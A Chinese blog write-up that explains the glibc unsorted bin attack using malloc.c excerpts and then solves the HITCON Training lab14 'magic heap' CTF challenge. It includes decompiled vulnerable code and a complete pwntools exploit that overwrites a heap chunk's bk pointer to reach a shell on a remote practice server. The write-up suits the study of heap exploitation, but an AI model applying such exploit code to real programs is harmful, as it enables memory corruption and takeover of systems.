Unsorted Bin Attack

概述

Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。

Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

Unsorted Bin 回顾

在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况

基本来源

当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

使用情况

  • Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
  • 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中
    详情见malloc源码分析

原理

在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck; //bck倒数第二个chunk
          bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。
一般将bk修改为targetaddr-0x10这样在将我们所控制的unsorted_chunk malloc掉之后就会发生如下情况:
示意图:

bk所指向的fake_chunk将会被添加到unsortedbin中,将fake_chunk->fd = &unsortedbin,注意fake_chunk->bk是不会被赋值的。

  • 初始状态时
    • unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
  • 执行 free(p)
    • 由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
    • 修改 p[1]
  • 经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
  • 申请 400 大小的 chunk
  • 此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。

对应源码

第一个判断

              /*1处于smallbinsfanwei 2存在last_remainder   3 size大于nb + MINSIZE,保证可以进行切割   */     
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                    .......
                    .....
                    }

因为我们修改了bk指针所以肯定不会生效

             /*如果上面的那几个苛刻条件没满足,那就直接把最后chunk的链接解除*/
             /* remove from unsorted list 最后的chunk解除链接 */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);
//如果从 unsorted bin 中取出来的 chunk 大小正好合适,就直接使用。
/* Take now instead of binning if exact fit */
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);   //设置物理相邻的下一个chunk的inuse位为1
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;  //直接返回
            }

我们在修改bk后过程为:

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av); //最终效果
    可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。

unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。而且,需要注意的是,
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些** fast bin attack **了。

HITCON Training lab14 magic heap

checksec

matrix@ubuntu:~/PWN/BUU$ checksec magicheap
[*] '/home/matrix/PWN/BUU/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE关闭

IDA

      if ( choice == 4 )
        exit(0);
      if ( choice == 4869 )
      {
        if ( (unsigned __int64)bss_data <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          get_shell();
        }

这里给出了明显的后门,只需bss_data的数据大于4869即可

在edit功能中存在堆溢出漏洞

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  size_t size; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, (char *)&v1 + 4, 4uLL);
  LODWORD(v1) = atoi((const char *)&v1 + 4);
  if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !bss_ptr_chunk[(signed int)v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", (char *)&v1 + 4, v1);
  read(0, (char *)&v1 + 4, 8uLL);
  size = atoi((const char *)&v1 + 4);           // new_size
  printf("Content of heap : ", (char *)&v1 + 4, v1);
  read_input(bss_ptr_chunk[(signed int)v1], size);
  return puts("Done !");
}

整个程序的功能是想实现一个堆分配器:

  • create chunk
  • edit chunk
  • delete chunk

思路

利用堆溢出漏洞将一个smallbins chunk的bk修改为target_Addr - 0x10即可

EXP

from pwn import*
context.log_level = 'debug'

def create(size,cont):
    sh.sendlineafter('Your choice :','1')
    sh.sendlineafter('Size of Heap : ',str(size))
    sh.sendlineafter('Content of heap:',str(cont))

def delet(index):
    sh.sendlineafter('Your choice :','3')
    sh.sendlineafter('Index :',str(index))

def edit(index,size,cont):
    sh.sendlineafter('Your choice :','2')
    sh.sendlineafter('Index :',str(index))
    sh.sendlineafter('Size of Heap : ',str(size))
    sh.sendlineafter('Content of heap : ',str(cont))

#sh = process('./magicheap')
sh = remote('node3.buuoj.cn',26049)
create(0x20,'AAAAAAAA') #0
create(0x100,'BBBBBBBBB') #1
create(0x20,'CCCCCCCC') #2

delet(2)
delet(1)

bss_data = 0x06020A0 
payload = 'A'*0x20
payload += p64(0) #prev
payload += p64(0x111) #size
payload += 'fd'*4
payload += p64(bss_data-0x10)

edit(0,0x40,payload)
#gdb.attach(sh)
create(0x100,'create')

sh.interactive()

  转载请注明: Squarer Unsorted Bin Attack

 上一篇
pwn-libc pwn-libc
一般题目给出的libc文件由于缺失ld文件我们无法将其与程序链接,强行链接一般都会报错 题目给出的libc一般用来查函数或者字符串偏移,one_gadget。还有一个很重要的就是用LINUX的strings命令查看libc文件 的glibc
2020-10-25
下一篇 
Fastbin Attack Fastbin Attack
介绍fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是: 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 漏洞发生于 fastbin 类型的
2020-10-20
  目录